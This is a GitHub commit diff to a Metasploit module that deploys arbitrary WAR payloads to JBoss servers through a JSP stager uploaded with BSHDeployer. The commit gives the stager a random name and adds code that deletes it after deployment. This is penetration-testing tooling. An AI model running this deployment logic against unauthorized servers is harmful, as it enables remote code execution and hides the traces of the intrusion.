Skip to content

Commit b990b14

Browse files
committed
Land rapid7#3771, @us3r777's deletion of jboss_bshdeployer STAGERNAME option
2 parents e6e4aab + cf9d53f commit b990b14

File tree

1 file changed

+19
-16
lines changed

1 file changed

+19
-16
lines changed

modules/auxiliary/admin/http/jboss_bshdeployer.rb

Lines changed: 19 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -41,12 +41,11 @@ def initialize
4141
[
4242
Opt::RPORT(8080),
4343
OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
44-
OptString.new('STAGERNAME', [ false, 'Only used if VERB is not POST', 'stager']),
4544
OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
4645
], self.class)
4746
end
4847

49-
def deploy_action(app_base, stager_name, war_data)
48+
def deploy_action(app_base, war_data)
5049
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
5150

5251
if http_verb == 'POST'
@@ -57,6 +56,7 @@ def deploy_action(app_base, stager_name, war_data)
5756
}
5857
else
5958
print_status("#{peer} - Deploying stager...")
59+
stager_name = Rex::Text.rand_text_alpha(8 + rand(8))
6060
stager_contents = stager_jsp(app_base)
6161
opts = {
6262
:dir => "#{stager_name}.war",
@@ -78,7 +78,7 @@ def deploy_action(app_base, stager_name, war_data)
7878
unless http_verb == 'POST'
7979
# call the stager to deploy our real payload war
8080
stager_uri = '/' + stager_name + '/' + stager_name + '.jsp'
81-
payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
81+
payload_data = "#{Rex::Text.rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
8282
print_status("#{peer} - Calling stager #{stager_uri} to deploy final payload...")
8383
res = deploy('method' => 'POST',
8484
'data' => payload_data,
@@ -88,19 +88,28 @@ def deploy_action(app_base, stager_name, war_data)
8888
else
8989
print_error("#{peer} - Failed to deploy final payload")
9090
end
91+
92+
# Remove the stager
93+
print_status("#{peer} - Removing stager...")
94+
files = {}
95+
files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp"
96+
files[:stager_base] = "#{stager_name}.war"
97+
delete_script = generate_bsh(:delete, files)
98+
res = deploy_package(delete_script, package)
99+
if res.nil?
100+
print_error("#{peer} - Unable to remove Stager")
101+
else
102+
print_good("#{peer} - Stager successfully removed")
103+
end
91104
end
92105

93106
end
94107

95-
def undeploy_action(app_base, stager_name)
108+
def undeploy_action(app_base)
96109
# Undeploy the WAR and the stager if needed
97110
print_status("#{peer} - Undeploying #{app_base} by deleting the WAR file via BSHDeployer...")
98111

99112
files = {}
100-
unless stager_name.nil?
101-
files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp"
102-
files[:stager_base] = "#{stager_name}.war"
103-
end
104113
files[:app_base] = "#{app_base}.war"
105114
delete_script = generate_bsh(:delete, files)
106115

@@ -114,22 +123,16 @@ def undeploy_action(app_base, stager_name)
114123

115124
def run
116125
app_base = datastore['APPBASE']
117-
if http_verb == 'POST'
118-
stager_name = nil
119-
else
120-
stager_name = datastore['STAGERNAME']
121-
stager_name = "stager" if stager_name.blank?
122-
end
123126

124127
case action.name
125128
when 'Deploy'
126129
unless File.exist?(datastore['WARFILE'])
127130
print_error("WAR file not found")
128131
end
129132
war_data = File.read(datastore['WARFILE'])
130-
deploy_action(app_base, stager_name, war_data)
133+
deploy_action(app_base, war_data)
131134
when 'Undeploy'
132-
undeploy_action(app_base, stager_name)
135+
undeploy_action(app_base)
133136
end
134137
end
135138
end

0 commit comments

Comments
 (0)